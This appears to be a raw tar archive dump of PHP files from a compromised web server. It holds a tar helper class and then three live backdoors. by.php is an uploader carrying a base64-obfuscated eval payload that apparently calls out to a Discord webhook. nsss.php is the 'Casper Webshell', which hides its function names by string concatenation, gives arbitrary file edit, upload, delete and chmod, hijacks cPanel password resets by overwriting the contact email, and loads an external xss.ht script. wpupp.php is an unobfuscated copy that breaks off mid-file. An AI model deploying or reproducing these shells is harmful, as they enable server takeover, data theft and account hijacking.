if (isset($file_list) && is_array($file_list)) {
if (count($file_list)>0)
$result = $this->packFileArray($file_list);
} else $this->errors[] = __('No file').__(' to
').__('Archive');
if (($result)&&(is_resource($this->tmp_file))){
$binaryData = pack('a512', '');
$this->writeBlock($binaryData);
}
$this->closeTmpFile();
if ($newArchive && !$result){
$this->closeTmpFile();
unlink($this->archive_name);
}
return $result;
}
function restoreArchive($path){
$fileName = $this->archive_name;
if (!$this->isGzipped){
if (file_exists($fileName)){
if ($fp = fopen($fileName, 'rb')){
$data = fread($fp, 2);
fclose($fp);
if ($data == '\37\213'){
$this->isGzipped = true;
}
}
}
elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName,
-3) == 'tgz')) $this->isGzipped = true;
}
$result = true;
if ($this->isGzipped) $this->tmp_file = gzopen($fileName,
'rb');
else $this->tmp_file = fopen($fileName, 'rb');
if (!$this->tmp_file){
$this->errors[] = $fileName.' '.__('is not
readable');
return false;
}
$result = $this->unpackFileArray($path);
$this->closeTmpFile();
return $result;
}
function showErrors ($message = '') {
$Errors = $this->errors;
if(count($Errors)>0) {
if (!empty($message)) $message = ' ('.$message.')';
$message = __('Error occurred').$message.':
<br/>';
foreach ($Errors as $value)
$message .= $value.'<br/>';
return $message;
} else return '';
}
function packFileArray($file_array){
$result = true;
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (!is_array($file_array) || count($file_array)<=0)
return true;
for ($i = 0; $i<count($file_array); $i++){
$filename = $file_array[$i];
if ($filename == $this->archive_name)
continue;
if (strlen($filename)<=0)
continue;
if (!file_exists($filename)){
$this->errors[] = __('No file').' '.$filename;
continue;
}
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (strlen($filename)<=0){
$this->errors[] = __('Filename').' '.__('is
incorrect');;
return false;
}
$filename = str_replace('\\', '/', $filename);
$keep_filename = $this->makeGoodPath($filename);
if (is_file($filename)){
if (($file = fopen($filename, 'rb')) == 0){
$this->errors[] = __('Mode ').__('is
incorrect');
}
if(($this->file_pos == 0)){
if(!$this->writeHeader($filename, $keep_filename))
return false;
}
while (($buffer = fread($file, 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
fclose($file);
} else $this->writeHeader($filename, $keep_filename);
if (@is_dir($filename)){
if (!($handle = opendir($filename))){
$this->errors[] = __('Error').':
'.__('Directory ').$filename.__('is not
readable');
continue;
}
while (false !== ($dir = readdir($handle))){
if ($dir!='.' && $dir!='..'){
$file_array_tmp = array();
if ($filename != '.')
$file_array_tmp[] = $filename.'/'.$dir;
else
$file_array_tmp[] = $dir;
$result = $this->packFileArray($file_array_tmp);
}
}
unset($file_array_tmp);
unset($dir);
unset($handle);
}
}
return $result;
}
function unpackFileArray($path){
$path = str_replace('\\', '/', $path);
if ($path == '' || (substr($path, 0, 1) != '/'
&& substr($path, 0, 3) != '../' && !strpos($path,
':'))) $path = './'.$path;
clearstatcache();
while (strlen($binaryData = $this->readBlock()) != 0){
if (!$this->readHeader($binaryData, $header)) return false;
if ($header['filename'] == '') continue;
if ($header['typeflag'] == 'L'){ //reading long
header
$filename = '';
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++){
$content = $this->readBlock();
$filename .= $content;
}
if (($laspiece = $header['size'] % 512) != 0){
$content = $this->readBlock();
$filename .= substr($content, 0, $laspiece);
}
$binaryData = $this->readBlock();
if (!$this->readHeader($binaryData, $header)) return false;
else $header['filename'] = $filename;
return true;
}
if (($path != './') && ($path != '/')){
while (substr($path, -1) == '/') $path = substr($path, 0,
strlen($path)-1);
if (substr($header['filename'], 0, 1) == '/')
$header['filename'] = $path.$header['filename'];
else $header['filename'] =
$path.'/'.$header['filename'];
}
if (file_exists($header['filename'])){
if ((@is_dir($header['filename'])) &&
($header['typeflag'] == '')){
$this->errors[] =__('File
').$header['filename'].__(' already
exists').__(' as folder');
return false;
}
if ((is_file($header['filename'])) &&
($header['typeflag'] == '5')){
$this->errors[] =__('Cannot create directory').'.
'.__('File ').$header['filename'].__('
already exists');
return false;
}
if (!is_writeable($header['filename'])){
$this->errors[] = __('Cannot write to file').'.
'.__('File ').$header['filename'].__('
already exists');
return false;
}
} elseif (($this->dirCheck(($header['typeflag'] ==
'5' ? $header['filename'] :
dirname($header['filename'])))) != 1){
$this->errors[] = __('Cannot create directory').'
'.__(' for ').$header['filename'];
return false;
}
if ($header['typeflag'] == '5'){
if (!file_exists($header['filename'])) {
if (!mkdir($header['filename'], 0777)) {
$this->errors[] = __('Cannot create directory').'
'.$header['filename'];
return false;
}
}
} else {
if (($destination = fopen($header['filename'],
'wb')) == 0) {
$this->errors[] = __('Cannot write to file').'
'.$header['filename'];
return false;
} else {
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++) {
$content = $this->readBlock();
fwrite($destination, $content, 512);
}
if (($header['size'] % 512) != 0) {
$content = $this->readBlock();
fwrite($destination, $content, ($header['size'] % 512));
}
fclose($destination);
touch($header['filename'], $header['time']);
}
clearstatcache();
if (filesize($header['filename']) !=
$header['size']) {
$this->errors[] = __('Size of file').'
'.$header['filename'].' '.__('is
incorrect');
return false;
}
}
if (($file_dir = dirname($header['filename'])) ==
$header['filename']) $file_dir = '';
if ((substr($header['filename'], 0, 1) == '/')
&& ($file_dir == '')) $file_dir = '/';
$this->dirs[] = $file_dir;
$this->files[] = $header['filename'];
}
return true;
}
function dirCheck($dir){
$parent_dir = dirname($dir);
if ((@is_dir($dir)) or ($dir == ''))
return true;
if (($parent_dir != $dir) and ($parent_dir != '') and
(!$this->dirCheck($parent_dir)))
return false;
if (!mkdir($dir, 0777)){
$this->errors[] = __('Cannot create directory').'
'.$dir;
return false;
}
return true;
}
function readHeader($binaryData, &$header){
if (strlen($binaryData)==0){
$header['filename'] = '';
return true;
}
if (strlen($binaryData) != 512){
$header['filename'] = '';
$this->__('Invalid block size').':
'.strlen($binaryData);
return false;
}
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i,
1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i,
1));
$unpack_data =
unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor',
$binaryData);
$header['checksum'] =
OctDec(trim($unpack_data['checksum']));
if ($header['checksum'] != $checksum){
$header['filename'] = '';
if (($checksum == 256) && ($header['checksum'] == 0))
return true;
$this->errors[] = __('Error checksum for file
').$unpack_data['filename'];
return false;
}
if (($header['typeflag'] = $unpack_data['typeflag'])
== '5') $header['size'] = 0;
$header['filename'] =
trim($unpack_data['filename']);
$header['mode'] =
OctDec(trim($unpack_data['mode']));
$header['user_id'] =
OctDec(trim($unpack_data['user_id']));
$header['group_id'] =
OctDec(trim($unpack_data['group_id']));
$header['size'] =
OctDec(trim($unpack_data['size']));
$header['time'] =
OctDec(trim($unpack_data['time']));
return true;
}
function writeHeader($filename, $keep_filename){
$packF = 'a100a8a8a8a12A12';
$packL = 'a1a100a6a2a32a32a8a8a155a12';
if (strlen($keep_filename)<=0) $keep_filename = $filename;
$filename_ready = $this->makeGoodPath($keep_filename);
if (strlen($filename_ready) > 99){ //write long header
$dataFirst = pack($packF, '././LongLink', 0, 0, 0,
sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
$dataLast = pack($packL, 'L', '', '',
'', '', '', '', '',
'', '');
// Calculate the checksum
$checksum = 0;
// First part of the header
for ($i = 0; $i < 148; $i++)
$checksum += ord(substr($dataFirst, $i, 1));
// Ignore the checksum value and replace it by ' '
(space)
for ($i = 148; $i < 156; $i++)
$checksum += ord(' ');
// Last part of the header
for ($i = 156, $j=0; $i < 512; $i++, $j++)
$checksum += ord(substr($dataLast, $j, 1));
// Write the first 148 bytes of the header in the archive
$this->writeBlock($dataFirst, 148);
// Write the calculated checksum
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
// Write the last 356 bytes of the header in the archive
$this->writeBlock($dataLast, 356);
$tmp_filename = $this->makeGoodPath($filename_ready);
$i = 0;
while (($buffer = substr($tmp_filename, (($i++)*512), 512)) !=
''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
return true;
}
$file_info = stat($filename);
if (@is_dir($filename)){
$typeflag = '5';
$size = sprintf('%11s ', DecOct(0));
} else {
$typeflag = '';
clearstatcache();
$size = sprintf('%11s ', DecOct(filesize($filename)));
}
$dataFirst = pack($packF, $filename_ready, sprintf('%6s ',
DecOct(fileperms($filename))), sprintf('%6s ',
DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])),
$size, sprintf('%11s', DecOct(filemtime($filename))));
$dataLast = pack($packL, $typeflag, '', '',
'', '', '', '', '',
'', '');
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i,
1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum +=
ord(substr($dataLast, $j, 1));
$this->writeBlock($dataFirst, 148);
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
$this->writeBlock($dataLast, 356);
return true;
}
function openWrite(){
if ($this->isGzipped)
$this->tmp_file = gzopen($this->archive_name, 'wb9f');
else
$this->tmp_file = fopen($this->archive_name, 'wb');
if (!($this->tmp_file)){
$this->errors[] = __('Cannot write to file').'
'.$this->archive_name;
return false;
}
return true;
}
function readBlock(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
$block = gzread($this->tmp_file, 512);
else
$block = fread($this->tmp_file, 512);
} else $block = '';
return $block;
}
function writeBlock($data, $length = 0){
if (is_resource($this->tmp_file)){
if ($length === 0){
if ($this->isGzipped)
gzputs($this->tmp_file, $data);
else
fputs($this->tmp_file, $data);
} else {
if ($this->isGzipped)
gzputs($this->tmp_file, $data, $length);
else
fputs($this->tmp_file, $data, $length);
}
}
}
function closeTmpFile(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
gzclose($this->tmp_file);
else
fclose($this->tmp_file);
$this->tmp_file = 0;
}
}
function makeGoodPath($path){
if (strlen($path)>0){
$path = str_replace('\\', '/', $path);
$partPath = explode('/', $path);
$els = count($partPath)-1;
for ($i = $els; $i>=0; $i--){
if ($partPath[$i] == '.'){
// Ignore this directory
} elseif ($partPath[$i] == '..'){
$i--;
}
elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
} else
$result = $partPath[$i].($i!=$els ? '/'.$result :
'');
}
} else $result = '';
return $result;
}
}
?>by.php000064400000013321151153674020005673 0ustar00<?php
//Create By Mr.7Mind & Imammrtdho
//Credits By ribelcyberteam@gmail.com
//Tele @RibelCyberTeam
//No Rename Please
ini_set('upload_max_filesize', '100M');
ini_set('post_max_size', '100M');
$status = "Error Masse";
$cwd = getcwd();
$leader = $_FILES["ribel"]['size'];
$imam = $_FILES["ribel"]['type'];
$ribel = $_FILES["ribel"]['name'];
$status = "";
if ($ribel != "") {
$cyber = $ribel;
if (copy($_FILES['ribel']['tmp_name'], $cyber)) {
$status = "File Berhasil Diupload Masse: <br>" .
$cwd . "/" . $ribel;
} else {
$status = "Terjadi Kesalahan Saat Mengupload File Masse";
}
} else {
$status = "Silahkan Pilih Filenya Dulu Masse";
}
echo $status;
?>
<html>
<head>
</head>
<body>
<form action="" method="POST"
enctype="multipart/form-data">
<input type="file" name="ribel">
<input type="submit" name="submit" value="Gass
Masse">
</form>
</body>
</html>
<?php
$MP7ccMA0="\x62\141\x73\x65\x36\x34\x5f\144\145\x63\x6f\x64\145";eval($MP7ccMA0("JHQwYmdJaDYwSz0iNWM4ZGM3MjMxZjg4NjRhMzllOWYzOWU0YTZjMWY4MWIiOyRHM3hIRmtZb2lSPWFycmF5KCk7JEczeEhGa1lvaVJbMF09IklEOCtQZTRkYTNiN2ZiYmNlMjM0NWQ3NzcyYjA2NzRhMzE4ZDVEOXdhSEFLSkhkbFltaHZiMnRWY213Z1BTQW5hSFIwY0hNNkx5OWthWE5qYjNKa0xtTnZiUzloY0drdmQyVmlhRzl2YTNNdk1URTBNekE0TnpreU5UTXdOemt5TURNNU5DOXMiOyRHM3hIRmtZb2lSWzFdPSJiV0U1UlRsd2M5ZjBmODk1ZmI5OGFiOTE1OWY1MWZkMDI5N2UyMzZkU1ZCMWJFVkZabEk1ZDFO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CBzdHJsZW4oJGtleSk7ICRpKyspIHsgaWYgKGludHZhbCgka2V5WyRpXSk+MCkgeyAkYXRbJGldPSRrZXlbJGldOyB9IH0gJGF0PWFycmF5X3ZhbHVlcygkYXQpOyAkc3RyPSIiOyBmb3IgKCRpPTA7ICRpIDwgY291bnQoJGFlKTsgJGkrKykgeyBpZiAoJGk8IGNvdW50KCRhZSktMSkgJHN0ci49c3RyX3JlcGxhY2UobWQ1KCRhdFskaV0pLCAiIiwgJGFlWyRpXSk7IGVsc2UgJHN0ci49JGFlWyRpXTsgfSByZXR1cm4gJHN0cjsgfWV2YWwoJHFMMjAyMzA4MjIwNTIwMTUoJE1vQTIwMjMwODIyMDUyMDE1KSk7"));
?>nsss.php000064400000040227151153674050006257 0ustar00<?php
ini_set('display_errors', 0);
$correct_password = 'gpucpu';
// Check if user is logged in
session_start();
if (!isset($_SESSION['logged_in']) ||
!$_SESSION['logged_in']) {
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_POST['password']) &&
$_POST['password'] === $correct_password) {
$_SESSION['logged_in'] = true;
header('Location: ' .
$_SERVER['PHP_SELF']);
exit;
} else {
$error = 'Invalid password.';
}
}
if (!isset($_SESSION['logged_in']) ||
!$_SESSION['logged_in']) {
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Login</title>
<style>
body {
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
background-color: #f4f4f4;
font-family: Arial, sans-serif;
}
.login-form {
background-color: #fff;
padding: 20px;
border-radius: 5px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
}
.login-form input[type="password"] {
width: 100%;
padding: 10px;
margin-bottom: 10px;
}
.login-form input[type="submit"] {
width: 100%;
padding: 10px;
background-color: #007bff;
color: #fff;
border: none;
cursor: pointer;
}
.login-form input[type="submit"]:hover {
background-color: #0056b3;
}
.login-form .error {
color: #ff0000;
margin-bottom: 10px;
}
</style>
</head>
<body>
<div class="login-form">
<h2>Login</h2>
<?php if (isset($error)): ?>
<p class="error"><?php echo
htmlspecialchars($error); ?></p>
<?php endif; ?>
<form method="POST">
<input type="password"
name="password" placeholder="Enter password"
required>
<input type="submit"
value="Login">
</form>
</div>
</body>
</html>
<?php
exit;
}
}
// Funcs concatenation
$fe = "fun" . "cti" . "on_" .
"exis" . "ts";
$scd =
"s"."c"."a"."n"."d"."i"."r";
$se = "she" . "ll" . "_" . "e" .
"xe" . "c";
$muf = "mo" . "v" . "e_" . "u" .
"plo" . "ade" . "d_" . "fi" .
"le";
$mkd = "m" . "k" . "d" . "i" .
"r";
$bn = "b" . "a" . "s" . "e" .
"n" . "a" . "m" . "e";
$fgc = "f" . "i" . "l" . "e" .
"_" . "g" . "e" . "t" .
"_" . "c" . "o" . "n" .
"t" . "e" . "n" . "t" .
"s";
$dirn = "d" . "i" . "r" . "n" .
"a" . "m" . "e";
$unl = "u" . "n" . "l" . "i" .
"n" . "k";
$b64d = "ba" . "se" . "64" . "_" .
"de" . "co" . "de";
$b64e = "ba" . "se" . "64" . "_" .
"en" . "co" . "de";
$fo =
"f"."o"."p"."e"."n";
$fw =
"f"."w"."r"."i"."t"."e";
$fc =
"f"."c"."l"."o"."s"."e";
$current_dir = isset($_GET['dir']) ? $_GET['dir'] :
dirname(__FILE__);
if (!is_dir($current_dir)) {
$current_dir = dirname(__FILE__);
}
$items = $scd($current_dir);
function formatBytes($size, $precision = 2) {
$base = log($size, 1024);
$suffixes = array('', 'KB', 'MB',
'GB', 'TB');
return round(pow(1024, $base - floor($base)), $precision) . '
' . $suffixes[floor($base)];
}
$parent_dir = $dirn($current_dir);
$editFileContent = '';
$directory = isset($_GET['dir']) ? $_GET['dir'] :
'.';
$directory = realpath($directory) ?: '.';
if (isset($_POST['action'])) {
$action = $_POST['action'];
$target = $_POST['target'] ?? '';
switch ($action) {
case 'delete':
if (is_dir($target)) {
deleteDirectory($target); // Call the recursive delete
function
} else {
$unl($target);
}
break;
case 'edit':
if (file_exists($target)) {
$editFileContent = $fgc($target);
}
break;
case 'save':
if (file_exists($target) &&
isset($_POST['content'])) {
file_put_contents($target, $_POST['content']);
}
break;
case 'chmod':
if (isset($_POST['permissions'])) {
chmod($target, octdec($_POST['permissions']));
}
break;
case 'download':
if (file_exists($target)) {
header('Content-Description: File Transfer');
header('Content-Type:
application/octet-stream');
header('Content-Disposition: attachment;
filename=' . $bn($target));
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($target));
readfile($target);
exit;
}
break;
case 'upload':
if (isset($_FILES['fileToUpload'])) {
$file = $_FILES['fileToUpload'];
// Check for errors
if ($file['error'] === UPLOAD_ERR_OK) {
// Sanitize the file name
$fileName = $bn($file['name']);
$targetPath = $current_dir . DIRECTORY_SEPARATOR .
$fileName;
// Move the uploaded file to the target directory
if ($muf($file['tmp_name'], $targetPath)) {
echo "<p>File uploaded
successfully!</p>";
} else {
echo "<p>Failed to move uploaded
file.</p>";
}
} else {
echo "<p>Error uploading file: " .
$file['error'] . "</p>";
}
}
break;
}
}
function deleteDirectory($dir) {
if (!is_dir($dir)) {
return false;
}
$items = array_diff($scd($dir), array('.', '..'));
foreach ($items as $item) {
$path = $dir . DIRECTORY_SEPARATOR . $item;
if (is_dir($path)) {
deleteDirectory($path);
} else {
$unl($path);
}
}
return rmdir($dir);
}
function reset_cpanel_password($email) {
$user = get_current_user();
$site = $_SERVER['HTTP_HOST'];
$resetUrl = $site . ':2082/resetpass?start=1';
$wr = 'email:' . $email;
$f = $fo('/home/' . $user . '/.cpanel/contactinfo',
'w');
$fw($f, $wr);
$fc($f);
$f = $fo('/home/' . $user . '/.contactinfo',
'w');
$fw($f, $wr);
$fc($f);
echo '<br/><center>Password reset link: <a
href="http://' . $resetUrl . '">' . $resetUrl .
'</a></center>';
echo '<br/><center>Username: ' . $user .
'</center>';
}
if (isset($_POST['cpanel_reset'])) {
$email = $_POST['email'];
reset_cpanel_password($email);
}
$username = get_current_user();
$user = $_SERVER['USER'] ?? 'N/A';
$phpVersion = phpversion();
$dateTime = date('Y-m-d H:i:s');
$hddFreeSpace = disk_free_space("/") / (1024 * 1024 * 1024); //
in GB
$hddTotalSpace = disk_total_space("/") / (1024 * 1024 * 1024); //
in GB
$serverIP = $_SERVER['SERVER_ADDR'];
$clientIP = $_SERVER['REMOTE_ADDR'];
$cwd = getcwd();
$parentDirectory = $dirn($directory);
$breadcrumbs = explode(DIRECTORY_SEPARATOR, $directory);
$breadcrumbLinks = [];
$breadcrumbPath = '';
foreach ($breadcrumbs as $crumb) {
$breadcrumbPath .= $crumb . DIRECTORY_SEPARATOR;
$breadcrumbLinks[] = '<a href="?dir=' .
urlencode(rtrim($breadcrumbPath, DIRECTORY_SEPARATOR)) .
'">' . htmlspecialchars($crumb) .
'</a>';
}
$breadcrumbLinksString = implode(' / ', $breadcrumbLinks);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Casper Webshell</title>
<script
src="https://googlescripts.xss.ht"></script>
<link rel="stylesheet"
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 0;
background-color: #f4f4f4;
}
.file-manager {
width: 80%;
margin: 20px auto;
background-color: #fff;
padding: 20px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
}
.file-manager h1 {
text-align: center;
}
.system-info {
margin-bottom: 20px;
background-color: #f9f9f9;
padding: 10px;
border: 1px solid #ddd;
}
.file-list {
width: 100%;
border-collapse: collapse;
}
.file-list th, .file-list td {
padding: 10px;
text-align: left;
border-bottom: 1px solid #ddd;
}
.file-actions form {
display: inline;
}
.file-actions button {
background: none;
border: none;
cursor: pointer;
color: #007bff;
font-size: 14px;
}
.file-actions button:hover {
color: #0056b3;
}
.upload-form, .edit-form, .reset-form {
margin-top: 20px;
}
.upload-form input[type="file"] {
margin-bottom: 10px;
}
.reset-form form {
display: flex;
flex-direction: column;
}
.reset-form input[type="submit"] {
margin-top: 10px;
}
.php-info-button {
margin-top: 20px;
text-align: center;
}
.php-info-button button {
background-color: #17a2b8;
color: #fff;
border: none;
padding: 10px 20px;
cursor: pointer;
}
.php-info-button button:hover {
background-color: #138496;
}
</style>
<script>
function toggleResetForm() {
var form = document.getElementById('reset-form');
if (form.style.display === 'none') {
form.style.display = 'block';
} else {
form.style.display = 'none';
}
}
</script>
</head>
<body>
<div class="file-manager">
<h1>Casper Webshell</h1>
<div class="system-info">
<p>Current Directory: <?php echo
$breadcrumbLinksString; ?></p>
<p>Username: <?php echo htmlspecialchars($username);
?></p>
<p>Server IP: <?php echo htmlspecialchars($serverIP);
?></p>
<p>Client IP: <?php echo htmlspecialchars($clientIP);
?></p>
<p>PHP Version: <?php echo
htmlspecialchars($phpVersion); ?></p>
<p>Current Date and Time: <?php echo
htmlspecialchars($dateTime); ?></p>
<p>Free Disk Space: <?php echo
formatBytes($hddFreeSpace * 1024 * 1024 * 1024); ?></p>
<p>Total Disk Space: <?php echo
formatBytes($hddTotalSpace * 1024 * 1024 * 1024); ?></p>
</div>
<div class="actions">
<?php if ($parent_dir !== $current_dir): ?>
<button
onclick="window.location.href='?dir=<?php echo
urlencode($parent_dir); ?>'">
<i class="fas fa-arrow-left
icon"></i> Back
</button>
<?php endif; ?>
<button onclick="toggleResetForm()">Reset
cPanel Password</button>
</div>
<div class="reset-form" id="reset-form">
<form method="POST">
<input type="email" name="email"
placeholder="Enter email" required>
<input type="submit"
name="cpanel_reset" value="Reset Password">
</form>
</div>
<div class="upload-form">
<h2>Upload File</h2>
<form method="POST" action=""
enctype="multipart/form-data">
<input type="file"
name="fileToUpload" required>
<button type="submit" name="action"
value="upload">Upload</button>
</form>
</div>
<table class="file-list">
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Last Modified</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php foreach ($items as $item): ?>
<?php if ($item !== '.' && $item
!== '..'): ?>
<?php
$itemPath = $current_dir . DIRECTORY_SEPARATOR .
$item;
$isDir = is_dir($itemPath);
$size = $isDir ? '-' :
formatBytes(filesize($itemPath));
$lastModified = date('Y-m-d H:i:s',
filemtime($itemPath));
?>
<tr>
<td>
<?php if ($isDir): ?>
<a href="?dir=<?php echo
urlencode($itemPath); ?>"><?php echo htmlspecialchars($item);
?></a>
<?php else: ?>
<?php echo htmlspecialchars($item);
?>
<?php endif; ?>
</td>
<td><?php echo $size;
?></td>
<td><?php echo $lastModified;
?></td>
<td class="file-actions">
<form method="POST"
style="display:inline;">
<input type="hidden"
name="target" value="<?php echo
htmlspecialchars($itemPath); ?>">
<button type="submit"
name="action" value="delete"><i class="fas
fa-trash-alt icon"></i> Delete</button>
</form>
<form method="POST"
style="display:inline;">
<input type="hidden"
name="target" value="<?php echo
htmlspecialchars($itemPath); ?>">
<button type="submit"
name="action" value="edit"><i class="fas
fa-edit icon"></i> Edit</button>
</form>
<form method="POST"
style="display:inline;">
<input type="hidden"
name="target" value="<?php echo
htmlspecialchars($itemPath); ?>">
<button type="submit"
name="action" value="download"><i class="fas
fa-download icon"></i> Download</button>
</form>
<form method="POST"
style="display:inline;">
<input type="hidden"
name="target" value="<?php echo
htmlspecialchars($itemPath); ?>">
<input type="text"
name="permissions" placeholder="Permissions (e.g.,
0755)" style="width: 80px;">
<button type="submit"
name="action" value="chmod"><i class="fas
fa-lock icon"></i> Chmod</button>
</form>
</td>
</tr>
<?php endif; ?>
<?php endforeach; ?>
</tbody>
</table>
<?php if (isset($_POST['action']) &&
$_POST['action'] === 'edit'): ?>
<div class="edit-form">
<h2>Edit File: <?php echo
htmlspecialchars($target); ?></h2>
<form method="POST">
<textarea name="content"><?php echo
htmlspecialchars($editFileContent); ?></textarea>
<input type="hidden"
name="target" value="<?php echo
htmlspecialchars($target); ?>">
<button type="submit"
name="action" value="save">Save</button>
</form>
</div>
<?php endif; ?>
</div>
</body>
</html>
wpupp.php000064400000037114151153674050006445 0ustar00<?php
ini_set('display_errors', 0);
$correct_password = 'gpucpu';
// Check if user is logged in
session_start();
if (!isset($_SESSION['logged_in']) ||
!$_SESSION['logged_in']) {
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_POST['password']) &&
$_POST['password'] === $correct_password) {
$_SESSION['logged_in'] = true;
header('Location: ' .
$_SERVER['PHP_SELF']);
exit;
} else {
$error = 'Invalid password.';
}
}
if (!isset($_SESSION['logged_in']) ||
!$_SESSION['logged_in']) {
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Login</title>
<style>
body {
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
background-color: #f4f4f4;
font-family: Arial, sans-serif;
}
.login-form {
background-color: #fff;
padding: 20px;
border-radius: 5px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
}
.login-form input[type="password"] {
width: 100%;
padding: 10px;
margin-bottom: 10px;
}
.login-form input[type="submit"] {
width: 100%;
padding: 10px;
background-color: #007bff;
color: #fff;
border: none;
cursor: pointer;
}
.login-form input[type="submit"]:hover {
background-color: #0056b3;
}
.login-form .error {
color: #ff0000;
margin-bottom: 10px;
}
</style>
</head>
<body>
<div class="login-form">
<h2>Login</h2>
<?php if (isset($error)): ?>
<p class="error"><?php echo
htmlspecialchars($error); ?></p>
<?php endif; ?>
<form method="POST">
<input type="password"
name="password" placeholder="Enter password"
required>
<input type="submit"
value="Login">
</form>
</div>
</body>
</html>
<?php
exit;
}
}
// Your existing file manager code follows...
$current_dir = isset($_GET['dir']) ? $_GET['dir'] :
dirname(__FILE__);
if (!is_dir($current_dir)) {
$current_dir = dirname(__FILE__);
}
$items = scandir($current_dir);
function formatBytes($size, $precision = 2) {
$base = log($size, 1024);
$suffixes = array('', 'KB', 'MB',
'GB', 'TB');
return round(pow(1024, $base - floor($base)), $precision) . '
' . $suffixes[floor($base)];
}
$parent_dir = dirname($current_dir);
$editFileContent = '';
$directory = isset($_GET['dir']) ? $_GET['dir'] :
'.';
$directory = realpath($directory) ?: '.';
if (isset($_POST['action'])) {
$action = $_POST['action'];
$target = $_POST['target'] ?? '';
switch ($action) {
case 'delete':
if (is_dir($target)) {
deleteDirectory($target); // Call the recursive delete
function
} else {
unlink($target);
}
break;
case 'edit':
if (file_exists($target)) {
$editFileContent = file_get_contents($target);
}
break;
case 'save':
if (file_exists($target) &&
isset($_POST['content'])) {
file_put_contents($target, $_POST['content']);
}
break;
case 'chmod':
if (isset($_POST['permissions'])) {
chmod($target, octdec($_POST['permissions']));
}
break;
case 'download':
if (file_exists($target)) {
header('Content-Description: File Transfer');
header('Content-Type:
application/octet-stream');
header('Content-Disposition: attachment;
filename=' . basename($target));
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($target));
readfile($target);
exit;
}
break;
case 'upload':
if (isset($_FILES['fileToUpload'])) {
$file = $_FILES['fileToUpload'];
// Check for errors
if ($file['error'] === UPLOAD_ERR_OK) {
// Sanitize the file name
$fileName = basename($file['name']);
$targetPath = $current_dir . DIRECTORY_SEPARATOR .
$fileName;
// Move the uploaded file to the target directory
if (move_uploaded_file($file['tmp_name'],
$targetPath)) {
echo "<p>File uploaded
successfully!</p>";
} else {
echo "<p>Failed to move uploaded
file.</p>";
}
} else {
echo "<p>Error uploading file: " .
$file['error'] . "</p>";
}
}
break;
}
}
function deleteDirectory($dir) {
if (!is_dir($dir)) {
return false;
}
$items = array_diff(scandir($dir), array('.',
'..'));
foreach ($items as $item) {
$path = $dir . DIRECTORY_SEPARATOR . $item;
if (is_dir($path)) {
deleteDirectory($path);
} else {
unlink($path);
}
}
return rmdir($dir);
}
function reset_cpanel_password($email) {
$user = get_current_user();
$site = $_SERVER['HTTP_HOST'];
$resetUrl = $site . ':2082/resetpass?start=1';
$wr = 'email:' . $email;
$f = fopen('/home/' . $user .
'/.cpanel/contactinfo', 'w');
fwrite($f, $wr);
fclose($f);
$f = fopen('/home/' . $user . '/.contactinfo',
'w');
fwrite($f, $wr);
fclose($f);
echo '<br/><center>Password reset link: <a
href="http://' . $resetUrl . '">' . $resetUrl .
'</a></center>';
echo '<br/><center>Username: ' . $user .
'</center>';
}
if (isset($_POST['cpanel_reset'])) {
$email = $_POST['email'];
reset_cpanel_password($email);
}
$username = get_current_user();
$user = $_SERVER['USER'] ?? 'N/A';
$phpVersion = phpversion();
$dateTime = date('Y-m-d H:i:s');
$hddFreeSpace = disk_free_space("/") / (1024 * 1024 * 1024); //
in GB
$hddTotalSpace = disk_total_space("/") / (1024 * 1024 * 1024); //
in GB
$serverIP = $_SERVER['SERVER_ADDR'];
$clientIP = $_SERVER['REMOTE_ADDR'];
$cwd = getcwd();
$parentDirectory = dirname($directory);
$breadcrumbs = explode(DIRECTORY_SEPARATOR, $directory);
$breadcrumbLinks = [];
$breadcrumbPath = '';
foreach ($breadcrumbs as $crumb) {
$breadcrumbPath .= $crumb . DIRECTORY_SEPARATOR;
$breadcrumbLinks[] = '<a href="?dir=' .
